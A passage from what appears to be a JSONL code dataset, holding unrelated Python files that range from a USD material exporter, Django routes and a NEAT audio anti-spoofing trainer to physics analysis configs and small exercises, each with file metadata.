materials_opt.get(\"asset_path\", None)\n if material_asset_path is not None:\n rel_material_path = utils.transform_path_to_relative(stage_asset_path, material_asset_path)\n mat_name = utils.buil_material_name(xsi_mat)\n mat_ref = stage.DefinePrim(str(usd_xform.GetPath()) + \"/\" + mat_name)\n mat_ref.GetReferences().AddReference(rel_material_path, \"/\" + xsi_mat.Library.Name + \"/\" + xsi_mat.Name)\n # bind the main material\n if is_bind:\n UsdShade.MaterialBindingAPI(usd_prim).Bind(UsdShade.Material(stage.GetPrimAtPath(mat_ref.GetPath())))\n\n\ndef set_material(xsi_material, stage, usd_material):\n # only one simple node\n usd_material_path = str(usd_material.GetPath())\n usd_shader = UsdShade.Shader.Define(stage, usd_material_path + \"/PBRShader\")\n usd_shader.CreateIdAttr(\"UsdPreviewSurface\")\n usd_shader.CreateInput(\"roughness\", Sdf.ValueTypeNames.Float).Set(0.4)\n usd_shader.CreateInput(\"metallic\", Sdf.ValueTypeNames.Float).Set(0.0)\n\n # duffuse input\n usd_shader.CreateInput(\"diffuseColor\", Sdf.ValueTypeNames.Color3f).Set((1.0, 1.0, 1.0))\n # output\n usd_shader.CreateOutput(\"out\", Sdf.ValueTypeNames.Color3f)\n\n # setup output\n usd_material.CreateSurfaceOutput().ConnectToSource(usd_shader, \"out\")\n\n\ndef set_material_complete(root_shader, stage, usd_material):\n pass\n\n\ndef export_materials(app, params, stage, materials_path, progress_bar=None):\n imp.reload(utils)\n # create new stage for materials\n materials_folder, materials_file_name = os.path.split(materials_path)\n mat_stage = Usd.Stage.CreateNew(materials_path)\n\n # we should iterate by libraries in the scene\n scene = app.ActiveProject2.ActiveScene\n for library in scene.MaterialLibraries:\n lib_name = library.Name\n mat_stage.DefinePrim(\"/\" + lib_name)\n # iterate by all materials inside the library\n for mat in library.Items:\n if progress_bar is not None:\n progress_bar.Caption = \"Export material \" + mat.Name + \" (library \" + lib_name + \")\"\n mat_name = mat.Name\n # add material to usd\n usd_material = UsdShade.Material.Define(mat_stage, \"/\" + lib_name + \"/\" + mat_name)\n set_material(mat, mat_stage, usd_material)\n\n mat_stage.Save()\n\n return materials_path\n","sub_path":"materials.py","file_name":"materials.py","file_ext":"py","file_size_in_byte":2559,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"140701096","text":"from django.urls import path\nfrom .views import *\n\nurlpatterns = [\n # 클래스형 뷰, 함수형 뷰를 path에 사용할 때 모양이 다릅니다.\n # 함수형 뷰 : 뷰 이름만 쓴다.\n # 클래스형 뷰 : 뷰이름.as_view()\n\n path('', BookmarkListView.as_view(), name='list'),\n path('add/', BookmarkCreateView.as_view(), name='add'),\n path('update//', BookmarkUpdateView.as_view(), name='update'),\n path('detail//', BookmarkDetailView.as_view(), name='detail'),\n path('delete//', BookmarkDeleteView.as_view(), name='delete'),\n # int, str, slug, path\n # 필터 - Custom\n\n]\n #","sub_path":"bookmark/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":641,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"24657983","text":"from CRABClient.UserUtilities import config\nconfig = config()\n\nconfig.General.workArea = 'crab_workArea'\nconfig.General.transferOutputs = True\nconfig.General.transferLogs = False\nconfig.JobType.pluginName = 'Analysis'\nconfig.Data.publication = False\nconfig.Site.storageSite = 'T2_US_Wisconsin'\nconfig.JobType.allowUndistributedCMSSW = True\n\nconfig.JobType.psetName = 'test_summary_mc.py'\nconfig.General.requestName = 'DYToLL_M_1_TuneCUETP8M1_13TeV_pythia8_May12_correceleID_correctneighbour_Sorted'\nconfig.Data.inputDataset = '/DYToLL_M_1_TuneCUETP8M1_13TeV_pythia8/RunIIFall15DR76-25nsFlat10to50ZsecalNzshcalRaw_76X_mcRun2_asymptotic_2016EcalTune_30fb_v1_ext1-v1/AODSIM'\nconfig.Data.inputDBS = 'global'\nconfig.Data.splitting = 'FileBased'\nconfig.Data.useParent= True\nconfig.Data.unitsPerJob = 1\nconfig.Data.totalUnits = -1 #-1 to run over all \nconfig.Data.outLFNDirBase = '/store/user/gomber'\n","sub_path":"test/crabMCDY.py","file_name":"crabMCDY.py","file_ext":"py","file_size_in_byte":1057,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"177670880","text":"##############################################################################\n#\n# Copyright (c) 2004 Zope Foundation and Contributors.\n# All Rights Reserved.\n#\n# This software is subject to the provisions of the Zope Public License,\n# Version 2.1 (ZPL). A copy of the ZPL should accompany this distribution.\n# THIS SOFTWARE IS PROVIDED \"AS IS\" AND ANY AND ALL EXPRESS OR IMPLIED\n# WARRANTIES ARE DISCLAIMED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n# WARRANTIES OF TITLE, MERCHANTABILITY, AGAINST INFRINGEMENT, AND FITNESS\n# FOR A PARTICULAR PURPOSE.\n#\n##############################################################################\n\"\"\"Schema-generation tests.\"\"\"\n\nimport zope.component.testing\nimport doctest\nimport re\nimport unittest\nfrom zope.testing import renormalizing\n\nchecker = renormalizing.RENormalizing([\n # Python 3 unicode removed the \"u\".\n (re.compile(\"u('.*?')\"),\n r\"\\1\"),\n (re.compile('u(\".*?\")'),\n r\"\\1\"),\n ])\n\n\ndef tearDownREADME(test):\n zope.component.testing.tearDown(test)\n test.globs['db'].close()\n\n\ndef test_suite():\n flags = \\\n doctest.NORMALIZE_WHITESPACE | \\\n doctest.ELLIPSIS | \\\n doctest.IGNORE_EXCEPTION_DETAIL\n return unittest.TestSuite((\n doctest.DocFileSuite(\n 'README.txt',\n setUp=zope.component.testing.setUp,\n tearDown=tearDownREADME,\n package='zope.generations',\n checker=checker\n ),\n doctest.DocTestSuite(\n 'zope.generations.generations',\n checker=checker, optionflags=flags),\n doctest.DocTestSuite(\n 'zope.generations.utility'),\n ))\n","sub_path":"src/zope/generations/tests/test_generations.py","file_name":"test_generations.py","file_ext":"py","file_size_in_byte":1666,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"252195465","text":"# Runs on Leetcode\n# Runtime complexity: O(mn)\n# Memory complexity: O(mn)-used dictionary\n# Faced problem to do in space changes\n\n# will submit O(1) memory solution by evening\n\n'''\nCount_helper function helps counting the live cells surrounding a particular cell irrespective of its state.\n\nWhile iterating through array, count is calculated and decision will be made based on the conditions given to live \nand dead cells. This decision is saved in a dictionary with index -(row,col) as key and true/false as value.\n\nTrue indicates next state is 1\nFalse indicates next state is 0\n\nIterating through the array again, the values are manipulated based on the dictionary values.\n'''\n\n\nclass Solution:\n def count_helper(self,board,row,col,rows,cols):\n count = 0\n # saving different directions in c to calculate the live neighbors count\n c = [(0,1),(0,-1),(1,0),(-1,0),(-1,-1),(-1,1),(1,-1),(1,1)]\n for i in c:\n if row+i[0] >=0 and row+i[0]=0 and col+i[1]3:\n return False\n elif a==2 or a==3:\n return True\n \n # dead cells conditions check\n def dead_helper(self,a):\n if a==3:\n return True\n else:\n return False\n \n def gameOfLife(self, board):\n # edge case\n if not board:\n return []\n rows = len(board)\n cols = len(board[0])\n # dictionary to save updates states of cells\n d = {}\n for i in range(rows):\n for j in range(cols):\n if board[i][j] is 1:\n # if the present cell is 1 calling live cells condition check on live neighbors count\n d[(i,j)] = self.live_helper(self.count_helper(board,i,j,rows,cols))\n else:\n # if the present cell is 0 calling live cells condition check on dead neighbors count\n d[(i,j)] = self.dead_helper(self.count_helper(board,i,j,rows,cols))\n \n \n # Changing original array based on saved values\n for i in range(rows):\n for j in range(cols):\n if d[(i,j)] is False:\n board[i][j] = 0\n else:\n board[i][j] = 1\n\n","sub_path":"Problem_3.py","file_name":"Problem_3.py","file_ext":"py","file_size_in_byte":2507,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"481440048","text":"import ROOT\nfrom ROOT import Belle2, TH1, TH2, TCanvas, THistPainter, TPad, gROOT, gStyle, TFile \nimport os\nimport sys\nimport subprocess\nfrom optparse import Option, OptionValueError, OptionParser\n\n\ndef maketar(RunLocation):\n\n os.chdir(RunLocation)\n\n os.system(\"tar czvf r{1}.tgz ../r{1}/klmHists-e{0}r{1}.root\".format(exp, run))\n #os.system(\"tar czvf r{1}.tgz r{1}/png-e{0}r{1}/RawKLMs/* r{1}/png-e{0}r{1}/mappedSectoroccupancy/* r{1}/png-e{0}r{1}/mappedRPCTime/* r{1}/png-e{0}r{1}/mappedScintCtime/* r{1}/png-e{0}r{1}/RPC_occupancy/* r{1}/hitmap-e{0}r{1}/Planez/* r{1}/hitmap-e{0}r{1}/PlanePhi/* \".format(exp, run))\n #os.system(\"tar czvf r{1}.tgz r{1}/png-e{0}r{1}/RawKLMs/* r{1}/png-e{0}r{1}/RawKLM_Sector_channelMultiplicity/* r{1}/png-e{0}r{1}/mappedSectoroccupancy/* r{1}/png-e{0}r{1}/mappedChannelOccupancy/* r{1}/png-e{0}r{1}/mappedRPCTime/* r{1}/png-e{0}r{1}/mappedRPCTime_Sector/* r{1}/png-e{0}r{1}/mappedScintCtime/* r{1}/png-e{0}r{1}/mappedScintCtime_Sector/* r{1}/png-e{0}r{1}/RPC_occupancy/* r{1}/hitmap-e{0}r{1}/Planez/* r{1}/hitmap-e{0}r{1}/PlanePhi/* r{1}/hitmap-e{0}r{1}/LayerSciCtime/* r{1}/hitmap-e{0}r{1}/LayerRPCTDC/* \".format(exp, run))\n\n\n#=========================================================================\n#\n# Main routine\n#\n#=========================================================================\n\nparser = OptionParser()\nparser.add_option('-e', '--experiment', dest='eNumber',\n default='8',\n help='Experiment number [default=7]')\nparser.add_option('-r', '--run', dest='rNumber',\n default='0133',\n help='Run number [default=0604]')\n(options, args) = parser.parse_args()\nexp = '{0:04d}'.format(int(options.eNumber))\nrun = '{0:05d}'.format(int(options.rNumber))\nrunhit = '{0:04d}'.format(int(options.rNumber))\n\ntardir = '/ghi/fs01/belle2/bdata/group/detector/BKLM/Run_Analysis/e{0}/bklmroots/Alltar/'.format(exp, run)\n#pngdir = '/home/belle2/atpathak/ppcc2018/work/KLM_16Apr2019/png-e0008r01772/'\nmaketar(tardir)\n","sub_path":"Belle2_KLM/KLMDQM_WebInterface/JavaScript/script/maketar.py","file_name":"maketar.py","file_ext":"py","file_size_in_byte":2028,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"307980399","text":"import unittest\nfrom calculations import get_top_genres, get_top_actors, get_top_actors_director_pairs\n\n\nclass moviesTestCase(unittest.TestCase):\n \"\"\"Test for Calculations.py\"\"\"\n\n def test_top_genres(self):\n testData = [\n [\"Action|Comedy|Documentary\", \"1000\", \"200\"],\n [\"Action\", \"200\", \"1000\"],\n [\"Action|Documentary\", \"400\", \"100\"],\n ]\n\n self.assertEqual(\n get_top_genres(testData),\n [[\"Comedy\", 800.0], [\"Documentary\", 550.0], [\"Action\", 100.0]],\n )\n\n def test_top_actors(self):\n testData = [\n [\"Alex\", \"Bob\", \"Charlie\", \"1000\", \"200\"],\n [\"Alex\", \"\", \"\", \"1000\", \"200\"],\n [\"\", \"Bob\", \"Charlie\", \"1000\", \"800\"],\n [\"Diana\", \"\", \"Charlie\", \"100\", \"200\"],\n ]\n\n self.assertEqual(\n get_top_actors(testData),\n [[\"Alex\", 800.0], [\"Bob\", 500.0], [\"Charlie\", 300.0], [\"Diana\", -100.0]],\n )\n\n def test_top_actors_director_pairs(self):\n testData = [\n [\"80\", \"Alex\", \"Bob\", \"\", \"D_Rob\"],\n [\"100\", \"Alex\", \"\", \"\", \"D_Tom\"],\n [\"90\", \"Bob\", \"Charlie\", \"\", \"D_Rob\"],\n ]\n\n self.assertEqual(\n get_top_actors_director_pairs(testData),\n [\n [\"D_Tom\", \"Alex\", 100.0],\n [\"D_Rob\", \"Charlie\", 90.0],\n [\"D_Rob\", \"Bob\", 85.0],\n [\"D_Rob\", \"Alex\", 80.0],\n ],\n )\n\n\nif __name__ == \"__main__\":\n unittest.main()\n\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1528,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"546521515","text":"import os\nimport neat\nimport numpy as np\nimport random as rd\nimport multiprocessing\nfrom tqdm import tqdm\nimport pickle\n\nfrom anti_spoofing.data_utils import ASVDataset\nfrom anti_spoofing.data_utils_short import ASVDatasetshort\nfrom anti_spoofing.utils_ASV import gate_lfcc, make_visualize\nfrom anti_spoofing.metrics_utils import rocch2eer, rocch\n\n\"\"\"\nNEAT APPLIED TO ASVspoof 2019\nTraining is done on bonafide files and one class spoofed from the train short data set\n\"\"\"\n\nbatch_size = 760 # size of the batch used for training, choose a multiple 2\n\nn_processes = multiprocessing.cpu_count() - 2 # number of workers to use for evaluating the fitness\nn_generation = 150 # number of generations\n\nspoofed_class = 2 # spoofed class to train on\n\n# boundary index of the type of audio files of the train short data set for testing\ntrain_short_border = [0, 258, 638, 1018, 1398, 1778, 2158, 2538]\nindex_train = list(range(0, 258)) + list(\n range(train_short_border[spoofed_class], train_short_border[spoofed_class + 1]))\n\n# boundary index of the type of audio files of the dev data set for testing\ndev_border = [0, 2548, 6264, 9980, 13696, 17412, 21128, 22296]\nindex_test = []\n\nindex_test += list(range(dev_border[0], dev_border[1]))\nindex_test += list(range(dev_border[spoofed_class], dev_border[spoofed_class + 1]))\n\n\nclass Anti_spoofing_Evaluator(neat.parallel.ParallelEvaluator):\n def __init__(self, num_workers, eval_function, data, pop, batch_size=batch_size, timeout=None):\n \"\"\"\n :param num_workers: int\n number of workers to use for evaluating the fitness\n :param eval_function: function\n function to be used to calculate fitness\n :param batch_size: int\n size of the batch used for training, choose an even number\n :param data: ASVDatasetshort\n training data\n :param timeout: int\n how long (in seconds) each subprocess will be given before an exception is raised (unlimited if None).\n \"\"\"\n super().__init__(num_workers, eval_function, timeout)\n self.data = data\n self.current_batch = [] # contains current batch of audio files\n self.batch_size = batch_size\n self.bona_fide_train = list(range(258)) # index list of bona fide files\n rd.shuffle(self.bona_fide_train) # shuffle the index\n self.bona_fide_index = 0\n self.nb_iter_bona_fide = min(batch_size // 2, 258)\n self.nb_iter_spoofed = min(batch_size // 2, 380)\n\n # index list of spoofed files\n self.spoofed_train = list(range(380))\n rd.shuffle(self.spoofed_train) # shuffle the index\n self.spoofed_index = 0\n self.G = pop\n self.l_s_n = np.zeros((self.batch_size, self.G))\n\n def evaluate(self, genomes, config):\n \"\"\"\n Assigns workers to the genomes that will return the false acceptance rate before computing it\n the ease of classification fitness.\n :param genomes: list\n list of all the genomes to get evaluated\n :param config: file\n configuration file\n \"\"\"\n jobs = []\n self.next()\n batch_data = self.current_batch\n\n for ignored_genome_id, genome in genomes:\n jobs.append(self.pool.apply_async(self.eval_function, (genome, config, batch_data)))\n\n self.G = len(genomes)\n self.l_s_n = np.zeros((len(batch_data), self.G))\n\n pseudo_genome_id = 0\n # return ease of classification for each genome\n for job, (ignored_genome_id, genome) in zip(jobs, genomes):\n self.l_s_n[:, pseudo_genome_id] = job.get(timeout=self.timeout)\n pseudo_genome_id += 1\n\n # compute the fitness\n p_s = np.sum(self.l_s_n, axis=1).reshape(-1, 1) / self.G\n F = np.sum(self.l_s_n * (1 - p_s), axis=0) / np.sum(1 - p_s)\n\n pseudo_genome_id = 0\n # assign the fitness back to each genome\n for ignored_genome_id, genome in genomes:\n genome.fitness = F[pseudo_genome_id]\n pseudo_genome_id += 1\n\n def next(self):\n \"\"\"\n change the current_batch attribute of the class to the next batch\n \"\"\"\n self.current_batch = []\n\n # adding bona fida index for training\n for index in range(self.nb_iter_bona_fide):\n if self.bona_fide_index >= 258:\n self.bona_fide_index = 0\n rd.shuffle(self.bona_fide_train)\n self.current_batch.append(self.data[self.bona_fide_train[self.bona_fide_index]])\n self.bona_fide_index += 1\n\n # adding spoofed index for training\n for index in range(self.nb_iter_spoofed):\n if self.spoofed_index >= 380:\n self.spoofed_index = 0\n rd.shuffle(self.spoofed_train)\n self.current_batch.append(self.data[self.spoofed_index + 258])\n self.spoofed_index += 1\n\n self.current_batch = np.array(self.current_batch)\n\n\ndef eval_genome(genome, config, batch_data):\n \"\"\"\n Most important part of NEAT since it is here that we adapt NEAT to our problem.\n We tell what is the phenotype of a genome and how to calculate its fitness\n (same idea than a loss)\n :param config: config from the config file\n :param genome: one genome to get evaluated\n :param batch_data: data to use to evaluate the genomes\n :return fitness: returns the fitness of the genome\n this version is intented to use ParallelEvaluator and should be much faster\n \"\"\"\n net = neat.nn.RecurrentNetwork.create(genome, config)\n target_scores = []\n non_target_scores = []\n l_s_n = np.zeros(len(batch_data))\n for data in batch_data:\n inputs, output = data[0], data[1]\n net.reset()\n \"\"\"\n mask, score = gate_mfcc(net, inputs)\n selected_score = score[mask]\n if selected_score.size == 0:\n xo = 0.5\n else:\n xo = np.sum(selected_score) / selected_score.size\n \"\"\"\n xo = gate_lfcc(net, inputs)\n if output == 1:\n target_scores.append(xo)\n else:\n non_target_scores.append(xo)\n\n target_scores = np.array(target_scores)\n non_target_scores = np.array(non_target_scores)\n\n size_target_scores = target_scores.size\n for i in range(size_target_scores):\n l_s_n[i] = (non_target_scores >= target_scores[i]).sum() / size_target_scores\n\n size_non_target_scores = non_target_scores.size\n for i in range(size_non_target_scores):\n l_s_n[i + size_target_scores] = (target_scores <= non_target_scores[i]).sum() / size_non_target_scores\n\n return 1 - l_s_n\n\n\ndef run(config_file, n_gen, train_loader, spoofed_class):\n \"\"\"\n Launches a run until convergence or max number of generation reached\n :param spoofed_class: spoofed class used for training\n :param train_loader: dataset used for training\n :param config_file: path to the config file\n :param n_gen: lax number of generation\n :return: the best genontype (winner), the configs, the stats of the run and the accuracy on the testing set\n \"\"\"\n # Load configuration.\n config_ = neat.Config(neat.DefaultGenome, neat.DefaultReproduction,\n neat.DefaultSpeciesSet, neat.DefaultStagnation,\n config_file)\n\n # Create the population, which is the top-level object for a NEAT run.\n p = neat.Population(config_)\n\n # Add a stdout reporter to show progress in the terminal.\n p.add_reporter(neat.StdOutReporter(True))\n stats_ = neat.StatisticsReporter()\n p.add_reporter(stats_)\n # p.add_reporter(neat.Checkpointer(generation_interval=40, time_interval_seconds=None))\n\n # Run for up to n_gen generations.\n multi_evaluator = Anti_spoofing_Evaluator(n_processes, eval_genome, train_loader, config_.pop_size)\n winner_ = p.run(multi_evaluator.evaluate, n_gen)\n\n # Display the winning genome.\n print('\\nBest genome:\\n{!s}'.format(winner_))\n\n return winner_, config_, stats_\n\n\ndef evaluate(net, data_loader):\n \"\"\"\n compute the eer equal error rate\n :param net: network\n :param data_loader: test dataset, contains audio files in a numpy array format\n :return eer\n \"\"\"\n target_scores = []\n non_target_scores = []\n for data in tqdm(data_loader):\n net.reset()\n sample_input, output = data[0], data[1]\n xo = gate_lfcc(net, sample_input)\n if output == 1:\n target_scores.append(xo)\n else:\n non_target_scores.append(xo)\n\n target_scores = np.array(target_scores)\n non_target_scores = np.array(non_target_scores)\n\n pmiss, pfa = rocch(target_scores, non_target_scores)\n eer = rocch2eer(pmiss, pfa)\n\n return eer\n\n\nif __name__ == '__main__':\n # Determine path to configuration file. This path manipulation is\n # here so that the script will run successfully regardless of the\n # current working directory.\n local_dir = os.path.dirname(__file__)\n config_path = os.path.join(local_dir, 'neat.cfg')\n\n train_loader = ASVDatasetshort(None, do_lfcc=True, index_list=index_train,\n do_standardize=True)\n test_loader = ASVDataset(None, is_train=False, is_eval=False, index_list=index_test,\n do_lfcc=True, do_standardize=True)\n\n winner, config, stats = run(config_path, n_generation, train_loader, spoofed_class)\n make_visualize(winner, config, stats)\n\n winner_net = neat.nn.RecurrentNetwork.create(winner, config)\n\n train_eer = evaluate(winner_net, train_loader)\n eer = evaluate(winner_net, test_loader)\n\n print(\"\\n\")\n print(\"**** training equal error rate = {} ****\".format(train_eer))\n\n print(\"\\n\")\n print(\"**** equal error rate = {} ****\".format(eer))\n\n pickle.dump(winner, open('best_genome_eoc_class_2_lfcc', 'wb'))\n","sub_path":"anti_spoofing/main_train_short_eoc_class.py","file_name":"main_train_short_eoc_class.py","file_ext":"py","file_size_in_byte":9809,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"201284278","text":"from math import pi\r\n\r\nr=input(\"radius of the earthin million kilometers\")\r\nv=input(\"velocity of revolution in km\")\r\nr=float(r)\r\nv=float(v)\r\nr=r*1000000\r\nyear=2*pi*r/v\r\nyear=year/(60*60*24)\r\nprint(round(year))\r\n","sub_path":"year.py","file_name":"year.py","file_ext":"py","file_size_in_byte":211,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"116331670","text":"import csv\n\n# 3 Stages to the script:\n## 1. Obtain general movie info w/ streaming platforms\n## 2. Obtain movie imdb rating/link info from metadata csv\n## 3. Output data into sql script\n\n# movieName --> {id, year, on_netflix/hulu/prime/disney, genres, imdb_id, poster_url, synopsis}\nmovies = {}\n# genreName --> genreId\ngenre_id = 1\ngenres = {}\n\nwith open('./archived/movies_streaming_platform_data.csv', encoding='utf-8') as stream_file:\n stream_reader = csv.reader(stream_file,delimiter=',')\n\n # Store general movie info (this CSV doesn't have imdb/pic info)\n for row in stream_reader:\n movies[row[2].replace(\"'\", \"''\")] = {\n 'id': row[1],\n 'year': row[3],\n 'imdb_rating': row[5] or 0.0,\n 'on_n': bool(row[7] == \"1\"),\n 'on_h': bool(row[8] == \"1\"),\n 'on_p': bool(row[9] == \"1\"),\n 'on_d': bool(row[10] == \"1\"),\n 'genres': row[13].split(',')\n }\n\n # Store genres separately (used for genres/movie_genres table)\n for genre in row[13].split(','):\n if genre not in genres and genre != \"\":\n print(\"Found new genre: {} ({}) at {}\".format(genre, genre_id, row[1]))\n genres[genre] = genre_id\n genre_id += 1\n \nwith open('./archived/movies_metadata.csv', encoding='utf-8') as metadata_file:\n metadata_reader = csv.reader(metadata_file)\n\n # Fill in missing data... Exclude movies found in this CSV and not last CSV\n for row in metadata_reader:\n # Only add movies that are in the dict already\n if row[20].replace(\"'\", \"''\") in movies:\n movies[row[20].replace(\"'\", \"''\")]['imdb_id'] = row[6]\n movies[row[20].replace(\"'\", \"''\")]['desc'] = row[9].replace(\"'\", \"''\")\n movies[row[20].replace(\"'\", \"''\")]['plink'] = row[11]\n\n\n# Write SQL queries out to file\nsql_movies_output = open('init_movies_data.sql', 'w', encoding='utf8')\nprint(\"Number of movies: {}\".format(len(movies)))\nprint(\"Number of genres: {}\".format(len(genres)))\nsql_movies_output.write(\"-- Movies\\n\")\nfor name, movie in movies.items():\n # Only include movies that appear in both streaming platforms and metadata CSVs\n if 'desc' not in movie:\n continue\n\n # SQL query to insert into movies table\n sql_movies_output.write(\"insert into movies (mid, name, on_netflix, on_prime, on_disney, on_hulu, year, rating, overview, imdb_id, poster_path) values ({}, '{}', {}, {}, {}, {}, {}, {}, '{}', '{}', '{}');\\n\".format(movie['id'], name, movie['on_n'], movie['on_p'], movie['on_d'], movie['on_h'], movie['year'], movie['imdb_rating'], movie['desc'], movie['imdb_id'], movie['plink']))\nsql_movies_output.close()\n\n\nsql_genres_output = open('init_genres_data.sql', 'w', encoding='utf8')\nsql_genres_output.write(\"-- Genres\\n\")\nfor name, gid in genres.items():\n # SQL query to insert into genres table\n sql_genres_output.write(\"insert into genres (genre_id, name) values ({}, '{}');\\n\".format(gid, name))\nsql_genres_output.close()\n\n\nsql_movie_genres_output = open('init_movie_genres_data.sql', 'w', encoding='utf8')\nsql_movie_genres_output.write(\"-- Movies to Genres\\n\")\nfor name, movie in movies.items():\n for genre in movie['genres']:\n # Exclude movies with no genres (Shows up as single '' element in list)\n if genre not in genres or 'desc' not in movie:\n continue\n \n # SQL query to insert into movie_genres table\n sql_movie_genres_output.write(\"insert into movie_genres (mid, genre_id) values ({}, {});\\n\".format(movie['id'], genres[genre]))\nsql_movie_genres_output.close()\n\n","sub_path":"database-setup/clean_movie_metadata.py","file_name":"clean_movie_metadata.py","file_ext":"py","file_size_in_byte":3638,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"596018843","text":"\"\"\"\nGiven an integer,n,perform the following conditional actions:\n- If is odd, print Weird\n- If is even and in the inclusive range of 2 to 5, print Not Weird\n- If is even and in the inclusive range of 6 to 20, print Weird\n- If is even and greater than 20, print Not Weird\n\"\"\"\nimport math\nimport os\nimport random\nimport re\nimport sys\n\nif __name__ == '__main__':\n\n n = int(input(\"Please Enter integer number: \").strip())\nif 1 <= n <= 100:\n if n % 2 == 0:\n if 2 <= n <= 5:\n print(\"Not Weird\")\n if 6 <= n <= 20:\n print(\"Weird\")\n if n > 20:\n print(\"Not Weird\")\n else:\n print(\"Weird\")\n","sub_path":"Conditions.py","file_name":"Conditions.py","file_ext":"py","file_size_in_byte":653,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"553566862","text":"# new PVs for the device involved in PEEM Refocusing work!\n# camc1: BL06I-DI-PHDGN-98\n# camc2: BL06I-DI-GIGE-01\n# X-axis: BL06I-EA-USER-03:MTR1: \n# Y axis: BL06I-EA-USER-03:MTR2:\n# Z axis: BL06I-EA-USER-03:MTR3:\n# screen Z axis: BL06I-EA-USER-03:MTR4: \n\nfrom Diamond.AreaDetector.ADDetectorDevice import ADDetectorDeviceClass\n\nprint(\"Use camerac2 for the GIGE1 camera C2\")\ncamerac2 = ADDetectorDeviceClass('camerac2', camc2_addetector, \"Plot 2\"); # @UndefinedVariable\ncamerac2.setFile('CamC2Image', 'camerac2');\ncamerac2.setStats(True);\ncamerac2.delay=2;\n\nprint(\"Use camerac1 for the Flea camera C1 on PEEM\")\ncamerac1 = ADDetectorDeviceClass('camerac1', camc1_addetector, \"Plot 1\"); # @UndefinedVariable\ncamerac1.setFile('CamC1Image', 'camerac1');\ncamerac1.setStats(True);\n\n\n","sub_path":"configurations/i06-2-config/scripts/cameras/useCameras.py","file_name":"useCameras.py","file_ext":"py","file_size_in_byte":777,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"51382145","text":"# Line config dictionaries for BandQ WG\n# \n\nfrom GaudiKernel.SystemOfUnits import *\n\n#########################################################\n### StrippingCC2DD\n### -----------------------------------------------------\n### Defined in: StrippingCC2DD.py\n### Proponent: Andrea.Bizzeti@fi.infn.it\n### Motivation: Low PT 2x charm, psi(3770)\n### Documentation: https://indico.cern.ch/conferenceDisplay.py?confId=269979\n#########################################################\n\nCC2DD = { \n 'WGs' : ['BandQ'],\n 'BUILDERTYPE' : 'CC2DDConf',\n 'CONFIG' : {\n####### D0 / D~0 -> K pi cuts\n 'D0MassWin' : \"60*MeV\",\n 'D0PT' : \"0*MeV\",\n 'D0VtxChi2Ndof' : 10.,\n 'D0Bpvdira' : -10.,\n 'D0Bpvdls' : 4.,\n 'D0daughterBpvIpChi2' : 6.,\n 'D0daughterPT' : \"600*MeV\",\n 'D0daughterP' : \"5*GeV\",\n 'D0daughterTrkChi2' : 3.,\n 'D0daughterTrkGhostProb' : 0.3,\n### ProbNN conditions\n 'D0daughterKaonProbNNk' : 0.1,\n 'D0daughterPionProbNNpi' : 0.1,\n######## Dplus/Dminus -> Kpipi cuts, used also for D_s+/D_s- ->KKpi\n 'DpmMassWin' : \"60*MeV\",\n 'DpmPT' : \"0*MeV\",\n 'DpmVtxChi2Ndof' : 10.,\n 'DpmBpvdira' : -10.,\n 'DpmBpvdls' : 4.,\n 'DpmdaughterBpvIpChi2' : 6.,\n 'DpmdaughterPT' : \"500*MeV\", ## lower than for D0\n 'DpmdaughterP' : \"5*GeV\",\n 'DpmdaughterTrkChi2' : 3.,\n 'DpmdaughterTrkGhostProb' : 0.3,\n### ProbNN conditions\n 'DpmdaughterKaonProbNNk' : 0.1,\n 'DpmdaughterPionProbNNpi' : 0.1,\n######## psi(3779) -> D D cuts\n# 'CCMassCut' : \"(AM<5000*MeV)\",\n# no mass constraint\n 'CCMassCut' : \"(AM>0)\",\n 'CCVtxChi2Ndof' : 10,\n 'CCMaxD0ChildPT' : \"1500*MeV\",\n 'CCMaxD0TreePT' : \"1200*MeV\",\n 'CCMaxD0MinTreeIpChi2' : \"0.\", ## unused for the moment\n\n },\n 'STREAMS' : [\n 'BhadronCompleteEvent' \n ],\n} \n \n\n####################################################\n### StrippingXic2HHH\n###-------------------------------------------------\n### Defined in: StrippingXic2HHH.py\n### Proponent: Yury.Shcheglov@cern.ch\n### Motivation: Xic studies and pentaquark searches\n### Documentation:\n### (Yury Shcheglov 2014-01-14 wrote:) \n### 1) Measurements ratios of the production rates\n### R(pT)= N(Xic->p+\\phi(KK)) / N( Lc->p+\\phi(KK)) -\n### new doubly Cabbibo supressed decay Xic->p+phi to the \n### known Lc->p+phi decay and \n### R (pT) = N(Xic->p + Kstar(Kpi)) / N( Lc->p + Kstar(Kpi)) \n### - used to cross-check the pT distribution shape of the first ratio;\n### \n### 2) pentaquark search (both, long-lived charmed pentaquark Beta+ and\n### pentaquark Theta+ (recently JLab reported peak at M = 1540 MeV);\n### \n### The preliminary result for the measurement of the rates ratios\n### shows the some difference in the pT shape of\n### the ratios N(Xic->p+\\phi(KK)) / N( Lc->p+\\phi(KK)) and\n### N(Xic->p + Kstar(Kpi)) / N( Lc->p + Kstar(Kpi)) at the range pT = 4-7 GeV. \n### But experimental errors for the first ratio are large enough \n### and it will be good to increase statistic for the Xic->p+\\phi(KK).\n### \n### For this goal from the stripping lines were rejected \n### too tight cuts connected with kaons IPCHI2, which were \n### found non-effective to suppress the background. \n### Besides we refused from the tight DIRA cut to avoid \n### 